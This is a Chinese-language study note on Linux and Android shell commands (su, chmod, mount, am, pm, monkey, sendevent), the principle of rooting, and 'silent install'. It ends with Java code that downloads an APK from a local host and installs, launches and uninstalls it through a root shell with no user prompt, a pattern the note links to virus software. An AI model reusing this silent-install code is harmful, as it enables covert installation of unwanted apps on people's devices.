常见的linux指令
/data/local/tmp 临时目录。目录里面的文件都是可以任意操作
- su
superuser 切换到超级管理员,无所不能的
# 超级管理员
$ 一般用户
- rm
remove 删除一个文件
rm 文件名
rm *.txt
- ls
列出来所有的文件和文件夹
ls -l 列出来文件的详细信息 c驱动 d文件夹 -文件
ls -a 显示隐藏文件 文件名前缀带. 就是隐藏文件
- cd
切换到某个目录 cd .. 切换到上级目录
- cat
猫,好奇害死猫
查看文件详细内容的指令
cat 文件名 注意: 一定不要cat 二进制程序
- mv
move 移动
move 源地址 -- > 目标地址
常用于文件的重命名 move 源文件名称 目标文件名称
- cp
copy 拷贝文件 在Android操作系统并没有被引入进来
- mkdir
make dir 创建文件夹
- rmdir
删除文件夹
- chmod
change mode
更改文件的模式,权限
修改为最高权限 chmod 777 文件名
- touch
创建文件 操作文件的指令
touch 文件名 如果文件不存在,直接创建文件,如果文件存在,什么事情都不发生
- echo
回显数据, 数据的重定向 echo 'abcdef' > gaga.txt 向gaga.txt 文件里面写入内容 abcdef 可以利用重定向符号去实现文件的拷贝
- sleep
.sh linux系统的下的批处理文件 类似于window下的.bat文件 sleep 睡眠函数 用于延迟多久执行命令
- df
df /mnt/sdcard 列出来一个目录的空间状态信息
- id
打印获取当前的用户组 android系统给不同的应用分配了不同的用户 uid, user id,用户id uid=0(root) 无所不能,非常强大 如来佛祖 uid=1000(system) 系统用户 比较强大 玉皇大帝 uid=2000(shell) 命令行窗体 执行adb指令 uid=(10000+) 一般应用程序的id 如果不声明权限,什么危险的操作都干不了
- ps
列出来操作系统运行的所有的进程
- kill
杀掉进程 kill 进程pid
- reboot
重启手机 必须在获取root权限下
- chown
chage owner 更改所有者
写法:chown 当前文件所有者.当前文件所有者组 文 件名
eg:chown 10086.10086 haha.txt
- mount
挂载,只有文件系统被挂载才可读可写
mount -o remount rw / 挂载当前目录为可读可写权限
mount -o remount ,rw /system 删除任意的文件
系统应用程序卸载器 (你的能力越大,你的责任越大)
为什么真实的手机都没有root权限,手机自行root后不保修。
Android下特有的linux指令
- am
activity manager
am start -n com.itheima.dialog/ com.itheima.dialog.MainActivity 开启一个应用程序
am force-stop com.itheima.dialog 强行停止应用
am startservice 开启服务
am broadcast 发送广播
- pm
package manager 包管理器
pm clear PACKAGE 清除应用程序数据
pm disable PACKAGEORCOMPONENT 冻结应用程序(深度冻结)
pm enable PACKAGEORCOMPONENT 解冻应用程序(深度解冻)
- monkey
猴子 自动化压力暴力测试
monkey -p com.itheima.dialog 1000
- sendevent
sendevent /dev/input/event0 3 0 +pointX 水平方向坐标
sendevent /dev/input/event0 3 1 +pointY 垂直方向坐标
如果想让真实的手机执行这些指令
前提条件: 手机必须要root权限,手机要刷root
刷root的原理
就是把su二进制文件拷贝到 /system/bin 或者/system/xbin
苹果的越狱软件,Android刷root软件,工作的原理全部都是利用系统的漏洞实现
刷模拟器,rom写文件(su)
- recovery 老毛桃 大白菜 深山红叶 雨林木风 winpe
- bootloader bios 设置u盘启动
- rom 免序列号xp.iso windows.iso android4.2 rom
静默安装
为什么有静默安装的需求 1. 正规应用。电子市场,方便用户静默安装 2. 病毒软件。静默安装的需求。 public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
HttpUtils http = new HttpUtils();
http.download("http://192.168.1.100:8080/phone.apk",
"/sdcard/phone.apk", new RequestCallBack<File>() {
@Override
public void onFailure(HttpException arg0, String arg1) {
}
@Override
public void onSuccess(ResponseInfo<File> arg0) {
try {
RootTools.sendShell("pm install /sdcard/phone.apk", 30000);
RootTools.sendShell("am start -n com.itheima.phone/com.itheima.phone.MainActivity", 30000);
RootTools.sendShell("pm uninstall com.itheima.phone", 30000);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
);
}